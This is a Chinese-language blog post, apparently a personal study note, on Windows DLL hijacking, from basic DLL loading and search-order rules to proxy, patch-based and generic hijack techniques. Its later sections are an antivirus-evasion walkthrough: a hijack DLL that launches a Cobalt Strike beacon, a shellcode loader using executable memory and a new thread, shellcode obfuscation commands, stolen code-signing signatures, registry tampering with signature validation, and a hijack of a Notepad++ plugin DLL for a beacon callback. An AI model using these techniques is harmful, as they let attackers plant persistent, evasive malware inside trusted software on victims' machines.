• DLL入门


    在 vs2019 新建动态链接库项目,看一下 DLL 基本格式
    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "pch.h"
    #include <Windows.h>
    
    void msg() { // 定义的函数
        MessageBox(0, L"Dll- load succeed", 0, 0);
    }
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    framework.h
    #pragma once
    
    #define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
    // Windows 头文件
    #include <windows.h>
    
    extern "C" __declspec(dllexport) void msg(void);
    

    调用 DLL
    // hello.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
    #include <iostream>
    #include <Windows.h>
    using namespace std;
    
    int main()
    {
        // 定义一个函数类DLLFUNC
        typedef void(*DLLFUNC)(void);
        DLLFUNC GetDllfunc = NULL;
        // 指定动态加载dll库
        HINSTANCE hinst = LoadLibrary(L"TestDll.dll");    // 不能是绝对路径
        if (hinst != NULL) {
            // 获取函数位置
            GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");
        }
        if (GetDllfunc != NULL) {
            //运行msg函数
            (*GetDllfunc)();
        }
    }
    

    dll 调用成功:
    image-20220328102147241
    劫持的小 demo
    新建一个 TestDll2,生成后将 hello.exe,TestDll,TestDll2 放到一个文件夹中,TestDll 改为 TestDll-org(劫持之后依旧能调用),TestDll2 改为 TestDll。
    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "pch.h"
      
    #pragma comment(linker, "/EXPORT:msg=TestDll-org.msg")
      
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:
            DisableThreadLibraryCalls(hModule);
            MessageBox(NULL, L"劫持成功!", L"提示", NULL);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    image-20220328105106632
  • 漏洞原理:


    一个 windows 应用程序会使用预定义的搜索路径去找它需要被加载的 DLL,那么如果我们有其中一个 DLL 所在目录的写权限,就能放置一个恶意的 DLL 文件来进行攻击 (同时要确保这个DLL文件在合法的DLL找到之前被找到)
    微软的 dll 劫持有 3 个阶段:
    无保护阶段:Windows XP SP2之前
    1.进程对应的应用程序所在目录;
    2.加载 DLL 时所在的当前目录;
    3.系统目录即 SYSTEM32 目录(通过 GetSystemDirectory 获取);
    4.16位系统目录即 SYSTEM 目录;
    5.Windows目录(通过 GetWindowsDirectory 获取);
    6.PATH环境变量中的各个目录;
    

    Windows XP SP2之后,Windows 7之前
    添加了一个 SafeDllSearchMode 的注册表属性:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
    

    当这个值设置为 1 的时候,开启安全 dll 搜索模式,查找顺序就是:
    1.应用程序所在目录
    2.系统目录 SYSTEM32 目录
    3.16位系统目录即 SYSTEM 目录(向前兼容)
    4.Windows目录(C:\Windows)
    5.加载 DLL 时所在的当前目录
    6.环境变量PATH中所有目录。需要注意的是,这里不包括App Paths注册表项指定的应用程序路径
    

    Windows 7之后
    从 Windows7 之后, 微软为了更进一步的防御系统的 DLL 被劫持,将一些容易被劫持的系统 DLL写进了一个注册表项中,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即 SYSTEM32 目录下调用。
    路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
    

    在 win10 下的限制:
    image-20220328104614560
  • 寻找 DLL 劫持漏洞


    如果要劫持系统的 dll 漏洞,大致流程如下:
    1.启动应用程序
    2.使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库。
    3.从该应用程序已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在
    4.编写从上一步获取到的DLL的劫持DLL。
    5.将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。
    

    理论可行,如果不能劫持的话可能有以下情况:
    1.DLL不在KnownDLLs注册表中但是已经被微软做了保护,比如ntdll.dll等系统核心dll
    2.宿主进程在调用LoadLibrary函数时使用了“绝对路径”
    3.宿主进程对调用的DLL进行了校检,比如文件MD5、HASH等值
    4.宿主调用DLL时使用了SetDllDirectory函数把当前目录从DLL的搜索顺序列表中删除
    

    劫持应用 dll,没有校验的直接可以打。可参考倾旋师傅的这篇文章:
    https://payloads.online/archivers/2018-06-09/1/
    自动化工具:https://github.com/sensepost/rattler
  • 转发式劫持


    image-20220328111714095
    可以用这个工具实现 https://bbs.pediy.com/thread-224408.htm
    两种转发函数:
    直接转发函数:即调用原DLL时触发的行为可控(DllMain 可控)
    即时调用函数:调用具体函数的时候行为可控,相当于可以实现 hook 某些函数
    

    image-20220328145319270
    在生成的代码中添加弹窗:
    #include "pch.h"
    #include <Windows.h>
    
    #pragma comment(linker, "/EXPORT:msg=TestDllOrg.msg,@1")
    
    BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
    {
        if (dwReason == DLL_PROCESS_ATTACH)
        {
            DisableThreadLibraryCalls(hModule);
            MessageBox(NULL, L"hi,hacker, inserted function runing", L"hi", MB_OK);
        }
        else if (dwReason == DLL_PROCESS_DETACH)
        {
        }
    
        return TRUE;
    }
    

    成功劫持,并且原程序也能正常执行。
    image-20220328150044094
    注意 64 位的程序要加载 64 位的 dll,32 位的程序要加载 32 位的 dll。
  • 篡改式劫持


    直接在 dll 中插入语句,暴力 patch 程序入口点,jmp shellcode,然后继续向下执行,实际中存在很多限制:
    1.签名的DLL文件会破坏签名导致失败
    2.会修改原生DLL文件,容易出现一些程序错误
    

    可以用 https://github.com/secretsquirrel/the-backdoor-factory 这个项目实现
  • 通用 DLL 劫持


    不再需要导出 DLL 的相同功能接口,实现原理其实就是修改 LoadLibrary 的返回值(详细原理没看明白,以后回来补)
    https://github.com/anhkgg/SuperDllHijack 工具实现。
    在源代码中添加弹窗:
    VOID DllHijack1(HMODULE hMod)
    {
        TCHAR tszDllPath[MAX_PATH] = { 0 };
    
        MessageBox(NULL, L"hi,hacker, inserted function runing", L"hi", MB_OK);
        GetModuleFileName(hMod, tszDllPath, MAX_PATH);
        PathRemoveFileSpec(tszDllPath);
        //PathAppend(tszDllPath, TEXT("dll.dll.1"));
        PathAppend(tszDllPath, TEXT("dll.dll"));
    
        //SuperDllHijack(L"dll.dll", tszDllPath);
        SuperDllHijack(L"fakedll.dll", tszDllPath);
    }
    

    其中,dll.dll 是原本要加载的 dll,fakedll.dll 是构造的恶意 dll,执行 test.exe 后发现劫持成功。
    image-20220328154812796
  • DLL劫持免杀:


    白加黑木马的结构
    1.Exe(白) —-load—-> dll(黑)
    2.Exe(白) —-load—-> dll(黑)—-load—-> 恶意代码
    

    方式一:直接加载木马
    修改转发劫持的代码,在 dll 执行结束时自动加载 cs ?,但是这样的话?还是要做免杀,也就能起一个权限维持的作用。
    BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
    {
        if (dwReason == DLL_PROCESS_ATTACH)
        {
            DisableThreadLibraryCalls(hModule);
            MessageBox(NULL, L"hi,hacker, inserted function runing", L"hi", MB_OK);
        }
        else if (dwReason == DLL_PROCESS_DETACH)
        {
            STARTUPINFO si = { sizeof(si) };
            PROCESS_INFORMATION pi;
            CreateProcess(TEXT("F:\\vs_project\\miansha\\hello\\test\\beacon_10_10_10_131.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
        }
    
        return TRUE;
    }
    

    image-20220328192513469
    方式二:dll 自加载上线
    直接在 dll 中写 shellcode,然后上线。但如果是用 cs 生成的原本的 shellcode 的 dll 会被直接杀掉,这里用到了 https://github.com/kgretzky/python-x86-obfuscator 工具对 shellcode 进行混淆。(虽然最后还是会被杀)
    python x86obf.py -i payload.bin -o output.bin -r 0-184
    

    然后转换成 c 的格式:
    #!/usr/bin/env python3
    shellcode = 'unsigned char buf[] = "'
    with open("output.bin", "rb") as f:
        content = f.read()
    #print(content)
    for i in content:
        shellcode += str(hex(i)).replace("0x", "\\x")
    shellcode += '";'
    print(shellcode)
    

    dll 文件修改为:
    BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
    {
        if (dwReason == DLL_PROCESS_ATTACH)
        {
            DisableThreadLibraryCalls(hModule);
            unsigned char buf[] = "shellcode";
            size_t size = sizeof(buf);
            char* inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            memcpy(inject, buf, size);
            CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);
        }
        else if (dwReason == DLL_PROCESS_DETACH)
        {
        }
    
        return TRUE;
    }
    

    火绒查杀能过,360 云查杀过不了。
    image-20220331111134730
  • 证书签名伪造


    如果我们替换了原有的 dll,会造成 dll 的签名发生改变,但有些杀软不会去检验证书签名是否有效,能一定程度上规避免杀:
    工具:https://github.com/secretsquirrel/SigThief.git
    可以将从以签名的 PE 文件中剥离签名,并附加到另一个 PE 文件中,但这个签名可能会无效(哈希不匹配)。
    python3 sigthief.py -i VSTOInstallerUI.dll  -t TestDll.dll -o TestDllSign.dll
    

    查看签名:
    Get-AuthenticodeSignature .\TestDll.dll
    

    image-20220329102955169
    如何添加有效的签名:
    数字签名的哈希验证是通过以下注册表键值执行的:
    {603BCC1F-4B59-4E08-B724-D2C6297EF351} // Hash Validation for PowerShell Scripts
    {C689AAB8-8E78-11D0-8C47-00C04FC295EE} // Hash Validation for Portable Executables
    

    所在位置:
    HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}
    HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    

    image-20220329110808846
    在已有的签名机制下,无法做到既可以使签名合法(证书没有私钥),又满足 hash 匹配,能做到的只有削弱签名验证机制。这里我们需要使用一个合法的 dll 文件来替换原来键值表示的 dll,因为它应该已经使用相同的私钥签名。另外,我们还需要将注册表项原来的函数用一个名叫DbgUiContinue的函数替换掉。
    自动化操作可以通过 https://github.com/netbiosX/Digital-Signature-Hijack 实现。(复现失败了)
  • 免杀实操


    用 Rattler 自动查找可劫持的 dll
     .\Rattler_32.exe "C:\Program Files (x86)\Notepad++\notepad++.exe" 1
    

    靶机上有很多可以利用的:
    image-20220331115138413
    选一个 mimeTools.dll,用 AheadLib+ 处理后加入 shellcode,然后替换原 dll 文件,运行 notepad++ 后上线
    image-20220331154921937
  • 参考文献:


标签: none

添加新评论